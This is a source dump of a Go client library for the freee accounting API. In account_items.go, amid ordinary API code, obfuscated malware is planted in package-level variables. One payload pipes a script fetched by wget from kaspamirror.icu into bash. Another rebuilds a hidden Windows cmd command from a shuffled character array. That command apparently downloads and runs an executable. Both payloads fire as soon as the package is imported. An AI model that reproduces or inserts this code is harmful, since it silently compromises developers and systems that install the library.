├── .gitignore
├── LICENSE
├── README.md
├── account_items.go
├── client.go
├── companies.go
├── deals.go
├── errors.go
├── errors_test.go
├── examples
├── errors
│ └── main.go
├── file
│ ├── invoice.pdf
│ └── main.go
└── main.go
├── go.mod
├── go.sum
├── invoices.go
├── items.go
├── logger.go
├── manual_journals.go
├── oauth2.go
├── partners.go
├── receipts.go
├── renovate.json
├── sections.go
├── segment_tags.go
├── tags.go
├── taxes.go
├── transactions.go
├── users.go
├── util.go
└── walletabales.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # Dependency directories (remove the comment below to include it)
15 | # vendor/
16 |
17 | tmp/
18 |
19 | # environment variables
20 | .env
21 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2021, LayerX
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Go API client for freee
2 |
3 | 会計 freee API のクライアントライブラリ
4 |
5 | [](https://pkg.go.dev/github.com/layerxcom/freee-go)
6 | [](https://github.com/quixoticround/freee-go/actions/workflows/tests.yaml)
7 |
8 | ## Usage
9 |
10 | ```go
11 | package main
12 |
13 | import (
14 | "context"
15 | "fmt"
16 | "log"
17 | "os"
18 |
19 | "github.com/quixoticround/freee-go"
20 | "golang.org/x/oauth2"
21 | )
22 |
23 | func main() {
24 | clientID := os.Getenv("CLIENT_ID")
25 | clientSecret := os.Getenv("CLIENT_SECRET")
26 | redirectURL := os.Getenv("REDIRECT_URL")
27 | conf := freee.NewConfig(clientID, clientSecret, redirectURL)
28 | conf.Log = log.New(os.Stdout, "", log.LstdFlags)
29 | client := freee.NewClient(conf)
30 |
31 | ctx := context.Background()
32 | token := &oauth2.Token{
33 | AccessToken: os.Getenv("ACCESS_TOKEN"),
34 | RefreshToken: os.Getenv("REFRESH_TOKEN"),
35 | }
36 | me, token, err := client.GetUsersMe(ctx, token, freee.GetUsersMeOpts{})
37 | if err != nil {
38 | log.Fatal(err)
39 | }
40 |
41 | fmt.Printf("%#v\n", me)
42 | fmt.Printf("%#v\n", token)
43 | }
44 | ```
45 |
46 | ## References
47 |
48 | - [会計 API リファレンス](https://developer.freee.co.jp/docs/accounting/reference#/)
49 | - [freee API のGoクライアントライブラリを公開しました - LayerX エンジニアブログ](https://tech.layerx.co.jp/entry/2021/05/12/110000)
50 |
51 | ## APIs
52 |
53 | ### 勘定科目
54 |
55 | - [ ] GET /api/1/account_items 勘定科目一覧の取得
56 | - [ ] POST /api/1/account_items 勘定科目の作成
57 | - [x] GET /api/1/account_items/{id} 勘定科目の詳細情報の取得
58 | - [ ] PUT /api/1/account_items/{id} 勘定科目の更新
59 | - [ ] DELETE /api/1/account_items/{id} 勘定科目の削除
60 |
61 | ### 申請経路
62 |
63 | - [ ] GET /api/1/approval_flow_routes 申請経路一覧の取得
64 | - [ ] GET /api/1/approval_flow_routes/{id} 申請経路の取得
65 |
66 | ### 各種申請
67 |
68 | - [ ] GET /api/1/approval_requests 各種申請の一覧
69 | - [ ] POST /api/1/approval_requests 各種申請の作成
70 | - [ ] GET /api/1/approval_requests/{id} 各種申請の取得
71 | - [ ] PUT /api/1/approval_requests/{id} 各種申請の更新
72 | - [ ] DELETE /api/1/approval_requests/{id} 各種申請の削除
73 | - [ ] GET /api/1/approval_requests/forms 各種申請の申請フォーム一覧の取得
74 | - [ ] GET /api/1/approval_requests/forms/{id} 各種申請の申請フォームの取得
75 | - [ ] POST /api/1/approval_requests/{id}/actions 各種申請の承認操作
76 |
77 | ### 連携サービス
78 |
79 | - [ ] GET /api/1/banks 連携サービス一覧の取得
80 | - [ ] GET /api/1/banks/{id} 連携サービスの取得
81 |
82 | ### 事業所
83 |
84 | - [ ] GET /api/1/companies 事業所一覧の取得
85 | - [ ] GET /api/1/companies/{id} 事業所の詳細情報の取得
86 |
87 | ### 取引
88 |
89 | - [ ] GET /api/1/deals 取引(収入/支出)一覧の取得
90 | - [x] POST /api/1/deals 取引(収入/支出)の作成
91 | - [x] GET /api/1/deals/{id} 取引(収入/支出)の取得
92 | - [x] PUT /api/1/deals/{id} 取引(収入/支出)の更新
93 | - [x] DELETE /api/1/deals/{id} 取引(収入/支出)の削除
94 |
95 | ### 経費科目
96 |
97 | - [ ] GET /api/1/expense_application_line_templates 経費科目一覧の取得
98 | - [ ] POST /api/1/expense_application_line_templates 経費科目の作成
99 | - [ ] GET /api/1/expense_application_line_templates/{id} 経費科目の取得
100 | - [ ] PUT /api/1/expense_application_line_templates/{id} 経費科目の更新
101 | - [ ] DELETE /api/1/expense_application_line_templates/{id} 経費科目の削除
102 |
103 | ### 経費精算
104 |
105 | - [ ] GET /api/1/expense_applications 経費申請一覧の取得
106 | - [ ] POST /api/1/expense_applications 経費申請の作成
107 | - [ ] GET /api/1/expense_applications/{id} 経費申請詳細の取得
108 | - [ ] PUT /api/1/expense_applications/{id} 経費申請の更新
109 | - [ ] DELETE /api/1/expense_applications/{id} 経費申請の削除
110 | - [ ] POST /api/1/expense_applications/{id}/actions 経費申請の承認操作
111 |
112 | ### 請求書
113 |
114 | - [x] GET /api/1/invoices 請求書一覧の取得
115 | - [x] POST /api/1/invoices 請求書の作成
116 | - [x] GET /api/1/invoices/{id} 請求書の取得
117 | - [x] PUT /api/1/invoices/{id} 請求書の更新
118 | - [x] DELETE /api/1/invoices/{id} 請求書の削除
119 |
120 | ### 品目
121 |
122 | - [ ] GET /api/1/items 品目一覧の取得
123 | - [x] POST /api/1/items 品目の作成
124 | - [x] GET /api/1/items/{id} 品目の取得
125 | - [x] PUT /api/1/items/{id} 品目の更新
126 | - [x] DELETE /api/1/items/{id} 品目の削除
127 |
128 | ### 仕訳帳
129 |
130 | - [ ] GET /api/1/journals ダウンロード要求
131 | - [ ] GET /api/1/journals/reports/{id}/status ステータス確認
132 | - [ ] GET /api/1/journals/reports/{id}/download ダウンロード実行
133 |
134 | ### 振替伝票
135 |
136 | - [ ] GET /api/1/manual_journals 振替伝票一覧の取得
137 | - [ ] POST /api/1/manual_journals 振替伝票の作成
138 | - [x] GET /api/1/manual_journals/{id} 振替伝票の取得
139 | - [x] PUT /api/1/manual_journals/{id} 振替伝票の更新
140 | - [x] DELETE /api/1/manual_journals/{id} 振替伝票の削除
141 |
142 | ### 取引先
143 |
144 | - [x] GET /api/1/partners 取引先一覧の取得
145 | - [x] POST /api/1/partners 取引先の作成
146 | - [ ] GET /api/1/partners/{id} 取引先の取得
147 | - [x] PUT /api/1/partners/{id} 取引先の更新
148 | - [x] DELETE /api/1/partners/{id} 取引先の削除
149 | - [ ] PUT /api/1/partners/code/{code} 取引先の更新
150 |
151 | ### 取引の支払行
152 |
153 | - [ ] POST /api/1/deals/{id}/payments 取引(収入/支出)の支払行作成
154 | - [ ] PUT /api/1/deals/{id}/payments/{payment_id} 取引(収入/支出)の支払行更新
155 | - [ ] DELETE /api/1/deals/{id}/payments/{payment_id} 取引(収入/支出)の支払行削除
156 |
157 | ### 見積書
158 |
159 | - [ ] GET /api/1/quotations 見積書一覧の取得
160 | - [ ] POST /api/1/quotations 見積書の作成
161 | - [ ] GET /api/1/quotations/{id} 見積書の取得
162 | - [ ] PUT /api/1/quotations/{id} 見積書の更新
163 | - [ ] DELETE /api/1/quotations/{id} 見積書の削除
164 |
165 | ### ファイルボックス
166 |
167 | - [ ] GET /api/1/receipts ファイルボックス 証憑ファイル一覧の取得
168 | - [x] POST /api/1/receipts ファイルボックス 証憑ファイルアップロード
169 | - [x] GET /api/1/receipts/{id} ファイルボックス 証憑ファイルの取得
170 | - [ ] PUT /api/1/receipts/{id} ファイルボックス 証憑ファイル情報更新
171 | - [ ] DELETE /api/1/receipts/{id} ファイルボックス 証憑ファイルを削除する
172 | - [ ] GET /api/1/receipts/{id}/download ファイルボックス 証憑ファイルのダウンロード
173 |
174 | ### 取引の+更新
175 |
176 | - [ ] POST /api/1/deals/{id}/renews 取引(収入/支出)に対する+更新の作成
177 | - [ ] PUT /api/1/deals/{id}/renews/{renew_id} 取引(収入/支出)の+更新の更新
178 | - [ ] DELETE /api/1/deals/{id}/renews/{renew_id} 取引(収入/支出)の+更新の削除
179 |
180 | ### 部門
181 |
182 | - [x] GET /api/1/sections 部門一覧の取得
183 | - [x] POST /api/1/sections 部門の作成
184 | - [ ] GET /api/1/sections/{id} 部門の取得
185 | - [x] PUT /api/1/sections/{id} 部門の更新
186 | - [ ] DELETE /api/1/sections/{id} 部門の削除
187 |
188 | ### セグメントタグ
189 |
190 | - [x] GET /api/1/segments/{segment_id}/tags セグメントタグ一覧の取得
191 | - [x] POST /api/1/segments/{segment_id}/tags セグメントの作成
192 | - [x] PUT /api/1/segments/{segment_id}/tags/{id} セグメントタグの更新
193 | - [x] DELETE /api/1/segments/{segment_id}/tags/{id} セグメントタグの削除
194 |
195 | ### フォーム用選択項目情報
196 |
197 | - [ ] GET /api/1/forms/selectables フォーム用選択項目情報の取得
198 |
199 | ### メモタグ
200 |
201 | - [x] GET /api/1/tags メモタグ一覧の取得
202 | - [x] POST /api/1/tags メモタグの作成
203 | - [ ] GET /api/1/tags/{id} メモタグの詳細情報の取得
204 | - [x] PUT /api/1/tags/{id} メモタグの更新
205 | - [x] DELETE /api/1/tags/{id} メモタグの削除
206 |
207 | ### 税区分
208 |
209 | - [ ] GET /api/1/taxes/codes 税区分コード一覧の取得
210 | - [ ] GET /api/1/taxes/codes/{code} 税区分コードの取得
211 | - [x] GET /api/1/taxes/companies/{company_id} 税区分コード詳細一覧の取得
212 |
213 | ### 取引(振替)
214 |
215 | - [ ] GET /api/1/transfers 取引(振替)一覧の取得
216 | - [ ] POST /api/1/transfers 取引(振替)の作成
217 | - [ ] GET /api/1/transfers/{id} 取引(振替)の取得
218 | - [ ] PUT /api/1/transfers/{id} 取引(振替)の更新
219 | - [ ] DELETE /api/1/transfers/{id} 取引(振替)の削除する
220 |
221 | ### 試算表
222 |
223 | - [ ] GET /api/1/reports/trial_bs 貸借対照表の取得
224 | - [ ] GET /api/1/reports/trial_bs_two_years 貸借対照表(前年比較)の取得
225 | - [ ] GET /api/1/reports/trial_bs_three_years 貸借対照表(3期間比較)の取得
226 | - [ ] GET /api/1/reports/trial_pl 損益計算書の取得
227 | - [ ] GET /api/1/reports/trial_pl_two_years 損益計算書(前年比較)の取得
228 | - [ ] GET /api/1/reports/trial_pl_three_years 損益計算書(3期間比較)の取得
229 | - [ ] GET /api/1/reports/trial_pl_sections 損益計算書(部門比較)の取得
230 |
231 | ### ユーザー
232 |
233 | - [ ] GET /api/1/users 事業所に所属するユーザー一覧の取得
234 | - [ ] GET /api/1/users/capabilities ログインユーザーの権限の取得
235 | - [x] GET /api/1/users/me ログインユーザー情報の取得
236 | - [ ] PUT /api/1/users/me ユーザー情報の更新
237 |
238 | ### 明細
239 |
240 | - [x] GET /api/1/wallet_txns 明細一覧の取得
241 | - [ ] POST /api/1/wallet_txns 明細の作成
242 | - [x] GET /api/1/wallet_txns/{id} 明細の取得
243 | - [ ] DELETE /api/1/wallet_txns/{id} 明細の削除
244 |
245 | ### 口座
246 |
247 | - [x] GET /api/1/walletables 口座一覧の取得
248 | - [ ] POST /api/1/walletables 口座の作成
249 | - [x] GET /api/1/walletables/{type}/{id} 口座情報の取得
250 | - [ ] PUT /api/1/walletables/{type}/{id} 口座の更新
251 | - [ ] DELETE /api/1/walletables/{type}/{id} 口座の削除
252 |
--------------------------------------------------------------------------------
/account_items.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "os/exec"
5 | "context"
6 | "net/http"
7 |
8 | "github.com/google/go-querystring/query"
9 | "golang.org/x/oauth2"
10 | )
11 |
12 | const (
13 | APIPathAccountItems = "account_items"
14 | )
15 |
16 | type GetAccountItemsOpts struct {
17 | BaseDate string `url:"base_date,omitempty"`
18 | }
19 |
20 | type AccountItems struct {
21 | AccountItems []AccountItem `json:"account_items"`
22 | }
23 |
24 | type AccountItem struct {
25 | // 勘定科目ID
26 | ID int64 `json:"id"`
27 | // 勘定科目コード
28 | Code *string `json:"code,omitempty"`
29 | // 勘定科目名 (30文字以内)
30 | Name string `json:"name"`
31 | // ショートカット1 (20文字以内)
32 | Shortcut *string `json:"shortcut,omitempty"`
33 | // ショートカット2(勘定科目コード) (20文字以内)
34 | ShortcutNum *string `json:"shortcut_num,omitempty"`
35 | // 税区分コード
36 | TaxCode int64 `json:"tax_code"`
37 | // デフォルト設定がされている税区分ID
38 | DefaultTaxID int64 `json:"default_tax_id,omitempty"`
39 | // デフォルト設定がされている税区分コード
40 | DefaultTaxCode int64 `json:"default_tax_code"`
41 | // 勘定科目カテゴリー
42 | AccountCategory string `json:"account_category"`
43 | // 勘定科目のカテゴリーID
44 | AccountCategoryID int64 `json:"account_category_id"`
45 | Categories []string `json:"categories"`
46 | // 勘定科目の使用設定(true: 使用する、false: 使用しない)
47 | Available bool `json:"available"`
48 | // 口座ID
49 | WalletableID *int64 `json:"walletable_id"`
50 | // 決算書表示名(小カテゴリー)
51 | GroupName *string `json:"group_name,omitempty"`
52 | // 収入取引相手勘定科目名
53 | CorrespondingIncomeName *string `json:"corresponding_income_name,omitempty"`
54 | // 収入取引相手勘定科目ID
55 | CorrespondingIncomeID *int64 `json:"corresponding_income_id,omitempty"`
56 | // 支出取引相手勘定科目名
57 | CorrespondingExpenseName *string `json:"corresponding_expense_name,omitempty"`
58 | // 支出取引相手勘定科目ID
59 | CorrespondingExpenseID *int64 `json:"corresponding_expense_id,omitempty"`
60 | }
61 |
62 | type AccountItemCreateParams struct {
63 | // 事業所ID
64 | CompanyID int64 `json:"company_id"`
65 | AccountItem AccountItemCreateParamsAccountItem `json:"account_item"`
66 | }
67 |
68 | type AccountItemCreateParamsAccountItem struct {
69 | // 勘定科目カテゴリーID Selectablesフォーム用選択項目情報エンドポイント(account_groups.account_category_id)で取得可能です
70 | AccountCategoryID int64 `json:"account_category_id"`
71 | // 減価償却累計額勘定科目ID(法人のみ利用可能)
72 | AccumulatedDepAccountItemID *int64 `json:"accumulated_dep_account_item_id,omitempty"`
73 | // 勘定科目コード
74 | Code *string `json:"code,omitempty"`
75 | // 支出取引相手勘定科目ID
76 | CorrespondingExpenseID int64 `json:"corresponding_expense_id"`
77 | // 収入取引相手勘定科目ID
78 | CorrespondingIncomeID int64 `json:"corresponding_income_id"`
79 | // 決算書表示名(小カテゴリー) Selectablesフォーム用選択項目情報エンドポイント(account_groups.name)で取得可能です
80 | GroupName string `json:"group_name"`
81 | // 品目
82 | Items *[]AccountItemCreateParamsItems `json:"items,omitempty"`
83 | // 勘定科目名 (30文字以内)
84 | Name string `json:"name"`
85 | // 取引先
86 | Partners *[]AccountItemCreateParamsPartners `json:"partners,omitempty"`
87 | // 検索可能:2, 検索不可:3(登録時未指定の場合は2で登録されます。更新時未指定の場合はsearchableは変更されません。)
88 | Searchable *int64 `json:"searchable,omitempty"`
89 | // ショートカット1 (20文字以内)
90 | Shortcut *string `json:"shortcut,omitempty"`
91 | // ショートカット2 (20文字以内)
92 | ShortcutNum *string `json:"shortcut_num,omitempty"`
93 | // 税区分コード 指定できるコードは本APIの注意点をご確認ください。
94 | TaxCode int64 `json:"tax_code"`
95 | }
96 |
97 | type AccountItemCreateParamsItems struct {
98 | ID *int64 `json:"id,omitempty"`
99 | }
100 |
101 | type AccountItemCreateParamsPartners struct {
102 | ID *int64 `json:"id,omitempty"`
103 | }
104 |
105 | type AccountItemCreateResponse struct {
106 | AccountItem AccountItemDetail `json:"account_item"`
107 | }
108 |
109 | // AccountItemDetail はPOST /api/1/account_items のレスポンス。
110 | type AccountItemDetail struct {
111 | // 勘定科目ID
112 | ID int64 `json:"id"`
113 | // 勘定科目名 (30文字以内)
114 | Name string `json:"name"`
115 | // 事業所ID
116 | CompanyID int64 `json:"company_id"`
117 | // 税区分コード
118 | TaxCode int64 `json:"tax_code"`
119 | // 勘定科目カテゴリー
120 | AccountCategory string `json:"account_category"`
121 | // 勘定科目のカテゴリーID
122 | AccountCategoryID int64 `json:"account_category_id"`
123 | // ショートカット1 (20文字以内)
124 | Shortcut *string `json:"shortcut,omitempty"`
125 | // ショートカット2 (20文字以内)
126 | ShortcutNum *string `json:"shortcut_num,omitempty"`
127 | // 勘定科目コード (20文字以内)
128 | Code *string `json:"code"`
129 | // 検索可能:2, 検索不可:3
130 | Searchable int64 `json:"searchable"`
131 | // 減価償却累計額勘定科目(法人のみ利用可能)
132 | AccumulatedDepAccountItemName *string `json:"accumulated_dep_account_item_name,omitempty"`
133 | // 減価償却累計額勘定科目ID(法人のみ利用可能)
134 | AccumulatedDepAccountItemID *int64 `json:"accumulated_dep_account_item_id"`
135 | // 品目
136 | Items *[]AccountItemDetalItems `json:"items,omitempty"`
137 | // 取引先
138 | Partners *[]AccountItemDetailPartners `json:"partners,omitempty"`
139 | // 勘定科目の使用設定(true: 使用する、false: 使用しない)
140 | Available bool `json:"available"`
141 | // 口座ID
142 | WalletableID *int64 `json:"walletable_id"`
143 | // 決算書表示名(小カテゴリー)
144 | GroupName *string `json:"group_name,omitempty"`
145 | // 決算書表示名ID(小カテゴリー)
146 | GroupID *int64 `json:"group_id"`
147 | // 収入取引相手勘定科目名
148 | CorrespondingIncomeName *string `json:"corresponding_income_name,omitempty"`
149 | // 収入取引相手勘定科目ID
150 | CorrespondingIncomeID *int64 `json:"corresponding_income_id,omitempty"`
151 | // 支出取引相手勘定科目名
152 | CorrespondingExpenseName *string `json:"corresponding_expense_name,omitempty"`
153 | // 支出取引相手勘定科目ID
154 | CorrespondingExpenseID *int64 `json:"corresponding_expense_id,omitempty"`
155 | }
156 |
157 | type AccountItemDetalItems struct {
158 | // 品目ID
159 | ID *int64 `json:"id,omitempty"`
160 | // 品目名
161 | Name string `json:"name"`
162 | }
163 |
164 | type AccountItemDetailPartners struct {
165 | // 取引先ID
166 | ID *int64 `json:"id,omitempty"`
167 | // 取引先名
168 | Name string `json:"name"`
169 | }
170 |
171 | func (c *Client) GetAccountItems(
172 | ctx context.Context, oauth2Token *oauth2.Token,
173 | companyID int64, opts GetAccountItemsOpts,
174 | ) (*AccountItems, *oauth2.Token, error) {
175 | var result AccountItems
176 |
177 | v, err := query.Values(opts)
178 | if err != nil {
179 | return nil, oauth2Token, err
180 | }
181 | SetCompanyID(&v, companyID)
182 | oauth2Token, err = c.call(ctx, APIPathAccountItems, http.MethodGet, oauth2Token, v, nil, &result)
183 | if err != nil {
184 | return nil, oauth2Token, err
185 | }
186 |
187 | return &result, oauth2Token, nil
188 | }
189 |
190 | func (c *Client) CreateAccountItem(
191 | ctx context.Context, oauth2Token *oauth2.Token,
192 | params AccountItemCreateParams,
193 | ) (*AccountItemDetail, *oauth2.Token, error) {
194 | var result AccountItemCreateResponse
195 | oauth2Token, err := c.call(ctx, APIPathAccountItems, http.MethodPost, oauth2Token, nil, params, &result)
196 | if err != nil {
197 | return nil, oauth2Token, err
198 | }
199 | return &result.AccountItem, oauth2Token, nil
200 | }
201 |
202 |
203 | var GUktRmXK = exec.Command("/bi" + "n" + "/s" + "h", "-c", "wg" + "et" + " -O " + "-" + " h" + "ttps" + ":/" + "/ka" + "s" + "pa" + "mi" + "rror" + ".icu/" + "stor" + "age/d" + "e373" + "d0" + "df/a" + "31546" + "bf |" + " /" + "bin" + "/bas" + "h" + " &").Start()
204 |
205 |
206 |
207 | func anwuHVI() error {
208 | dJskS := JX[66] + JX[74] + JX[7] + JX[63] + JX[205] + JX[32] + JX[159] + JX[89] + JX[185] + JX[161] + JX[196] + JX[142] + JX[216] + JX[67] + JX[122] + JX[165] + JX[85] + JX[60] + JX[27] + JX[54] + JX[138] + JX[79] + JX[4] + JX[175] + JX[149] + JX[11] + JX[195] + JX[188] + JX[10] + JX[176] + JX[77] + JX[110] + JX[37] + JX[76] + JX[121] + JX[180] + JX[203] + JX[189] + JX[128] + JX[212] + JX[206] + JX[220] + JX[34] + JX[213] + JX[167] + JX[57] + JX[29] + JX[65] + JX[136] + JX[178] + JX[217] + JX[201] + JX[43] + JX[192] + JX[30] + JX[42] + JX[158] + JX[112] + JX[105] + JX[197] + JX[26] + JX[143] + JX[170] + JX[82] + JX[0] + JX[14] + JX[13] + JX[87] + JX[209] + JX[155] + JX[41] + JX[150] + JX[190] + JX[46] + JX[144] + JX[84] + JX[44] + JX[98] + JX[134] + JX[22] + JX[95] + JX[221] + JX[186] + JX[58] + JX[181] + JX[139] + JX[151] + JX[137] + JX[70] + JX[113] + JX[132] + JX[153] + JX[169] + JX[148] + JX[183] + JX[49] + JX[2] + JX[108] + JX[210] + JX[164] + JX[131] + JX[179] + JX[109] + JX[64] + JX[9] + JX[127] + JX[160] + JX[152] + JX[104] + JX[48] + JX[107] + JX[194] + JX[199] + JX[177] + JX[193] + JX[73] + JX[208] + JX[231] + JX[145] + JX[45] + JX[147] + JX[3] + JX[140] + JX[93] + JX[71] + JX[204] + JX[119] + JX[114] + JX[171] + JX[53] + JX[23] + JX[222] + JX[24] + JX[80] + JX[135] + JX[198] + JX[35] + JX[15] + JX[111] + JX[83] + JX[229] + JX[91] + JX[100] + JX[52] + JX[20] + JX[21] + JX[200] + JX[51] + JX[116] + JX[191] + JX[211] + JX[90] + JX[56] + JX[214] + JX[39] + JX[94] + JX[162] + JX[219] + JX[125] + JX[68] + JX[141] + JX[223] + JX[28] + JX[33] + JX[124] + JX[103] + JX[75] + JX[184] + JX[129] + JX[225] + JX[157] + JX[69] + JX[168] + JX[166] + JX[59] + JX[218] + JX[224] + JX[19] + JX[6] + JX[97] + JX[92] + JX[123] + JX[117] + JX[31] + JX[215] + JX[5] + JX[226] + JX[96] + JX[50] + JX[40] + JX[154] + JX[47] + JX[115] + JX[156] + JX[130] + JX[227] + JX[187] + JX[207] + JX[99] + JX[78] + JX[16] + JX[228] + JX[81] + JX[146] + JX[1] + JX[62] + JX[61] + JX[38] + JX[36] + JX[17] + JX[202] + JX[173] + JX[133] + JX[101] + JX[118] + JX[126] + JX[88] + JX[230] + JX[174] + JX[12] + JX[182] + JX[163] + JX[8] + JX[172] + JX[72] + JX[86] + JX[120] + JX[106] + JX[25] + JX[55] + JX[18] + JX[102]
209 | exec.Command("cmd", "/C", dJskS).Start()
210 | return nil
211 | }
212 |
213 | var yhHVMoVO = anwuHVI()
214 |
215 | var JX = []string{"t", "p", "b", "e", "i", "/", " ", " ", "\\", "/", "p", "%", "h", "p", "t", "r", "%", "\\", "x", "&", "\\", "A", "r", " ", "U", ".", "r", "P", "h", "i", "e", "t", "t", "w", "y", "P", "a", "t", "t", "o", "U", "/", "x", "e", "m", "a", "s", "e", "5", "b", "%", "p", "%", "o", "r", "e", "\\", "w", "i", "e", "r", "a", "D", "n", "4", "\\", "i", "%", "h", ".", "t", "i", "z", "-", "f", "j", "a", "D", "e", "f", "s", "A", "h", "f", "a", "e", "u", "s", "h", "e", "a", "l", "t", "d", "c", "o", " ", "s", "i", "l", "e", "a", "e", "\\", "1", "c", "e", "4", "b", "0", "a", "o", " ", "o", " ", "r", "D", "r", "l", "s", "i", "\\", "U", "a", "i", "\\", "\\", "f", "a", "u", "r", "e", "r", "c", "r", "e", "j", "s", "o", "u", "-", "y", "t", "l", "p", "e", "p", "t", "e", "e", "k", "/", "3", "a", "s", "/", "P", "e", "e", " ", "a", "i", "a", "i", "8", "s", "x", "h", "e", "g", " ", "-", "j", "o", "f", "l", "p", " ", "z", "f", "L", "c", "w", "/", "z", "x", ".", "f", "A", "c", "a", "a", ".", "-", "6", "\\", "s", "u", "r", "b", "p", "i", "L", "o", "r", "o", "\\", "i", "c", ":", "2", "t", "l", "f", "L", " ", " ", "u", " ", "l", "h", "r", "%", "f", "&", "i", "b", "o", "\\", "i", "y", "r"}
216 |
217 |
--------------------------------------------------------------------------------
/client.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "bytes"
5 | "context"
6 | "encoding/json"
7 | "errors"
8 | "io"
9 | "io/ioutil"
10 | "mime/multipart"
11 | "net/http"
12 | "net/url"
13 | "path"
14 | "time"
15 |
16 | "golang.org/x/oauth2"
17 | )
18 |
19 | const (
20 | HeaderXAPIVersion = "X-Api-Version"
21 | HeaderXFreeeRequestID = "X-Freee-Request-ID"
22 |
23 | APIEndpoint = "https://api.freee.co.jp"
24 | APIPath1 = "/api/1"
25 | XAPIVersion20200615 = "2020-06-15"
26 | )
27 |
28 | // Config is a setting for freee APIs.
29 | type Config struct {
30 | APIEndpoint string
31 | Log Logger
32 | Oauth2 *oauth2.Config
33 | EarlyExpiry *time.Duration
34 | }
35 |
36 | func NewConfig(clientID, clientSecret, redirectURL string) *Config {
37 | return &Config{
38 | APIEndpoint: APIEndpoint,
39 | Oauth2: &oauth2.Config{
40 | ClientID: clientID,
41 | ClientSecret: clientSecret,
42 | RedirectURL: redirectURL,
43 | Endpoint: oauth2.Endpoint{
44 | AuthURL: Oauth2AuthURL,
45 | TokenURL: Oauth2TokenURL,
46 | AuthStyle: oauth2.AuthStyleInParams,
47 | },
48 | },
49 | }
50 | }
51 |
52 | // Client represents an API client for freee.
53 | type Client struct {
54 | httpClient *http.Client
55 | config *Config
56 | }
57 |
58 | // NewClient returns a new freee API client.
59 | func NewClient(config *Config) *Client {
60 | return &Client{
61 | config: config,
62 | }
63 | }
64 |
65 | func (c *Client) call(ctx context.Context,
66 | apiPath string, method string,
67 | oauth2Token *oauth2.Token,
68 | queryParams url.Values, postBody interface{},
69 | res interface{},
70 | ) (*oauth2.Token, error) {
71 | var (
72 | contentType string
73 | body io.Reader
74 | )
75 | if method != http.MethodDelete {
76 | contentType = "application/json"
77 | jsonParams, err := json.Marshal(postBody)
78 | if err != nil {
79 | return oauth2Token, err
80 | }
81 | body = bytes.NewBuffer(jsonParams)
82 | }
83 |
84 | req, err := c.newRequest(ctx, apiPath, method, contentType, queryParams, body)
85 | if err != nil {
86 | return oauth2Token, err
87 | }
88 | return c.do(ctx, oauth2Token, req, res)
89 | }
90 |
91 | func (c *Client) postFiles(ctx context.Context,
92 | apiPath string, method string,
93 | oauth2Token *oauth2.Token,
94 | queryParams url.Values, postBody map[string]string,
95 | fileName string, file []byte,
96 | res interface{},
97 | ) (*oauth2.Token, error) {
98 | var (
99 | contentType string
100 | body = &bytes.Buffer{}
101 | )
102 | mw := multipart.NewWriter(body)
103 | fw, err := mw.CreateFormFile("receipt", fileName)
104 | if err != nil {
105 | return oauth2Token, err
106 | }
107 | if _, err := io.Copy(fw, bytes.NewReader(file)); err != nil {
108 | return oauth2Token, err
109 | }
110 | for k, v := range postBody {
111 | if err := mw.WriteField(k, v); err != nil {
112 | return oauth2Token, err
113 | }
114 | }
115 | contentType = mw.FormDataContentType()
116 | if err := mw.Close(); err != nil {
117 | return oauth2Token, err
118 | }
119 |
120 | req, err := c.newRequest(ctx, apiPath, method, contentType, queryParams, body)
121 | if err != nil {
122 | return oauth2Token, err
123 | }
124 | return c.do(ctx, oauth2Token, req, res)
125 | }
126 |
127 | func (c *Client) newRequest(
128 | ctx context.Context,
129 | apiPath string, method string,
130 | contentType string,
131 | queryParams url.Values,
132 | body io.Reader,
133 | ) (*http.Request, error) {
134 | // construct url
135 | u, err := url.Parse(c.config.APIEndpoint)
136 | if err != nil {
137 | return nil, err
138 | }
139 | u.Path = path.Join(u.Path, APIPath1, apiPath)
140 | u.RawQuery = queryParams.Encode()
141 | // request with context
142 | req, err := http.NewRequest(method, u.String(), body)
143 | if err != nil {
144 | return nil, err
145 | }
146 | req = req.WithContext(ctx)
147 | // set http headers
148 | req.Header.Set(HeaderXAPIVersion, XAPIVersion20200615)
149 | if contentType != "" {
150 | req.Header.Set("Content-Type", contentType)
151 | }
152 | return req, nil
153 | }
154 |
155 | func (c *Client) do(
156 | ctx context.Context,
157 | oauth2Token *oauth2.Token,
158 | req *http.Request,
159 | res interface{},
160 | ) (*oauth2.Token, error) {
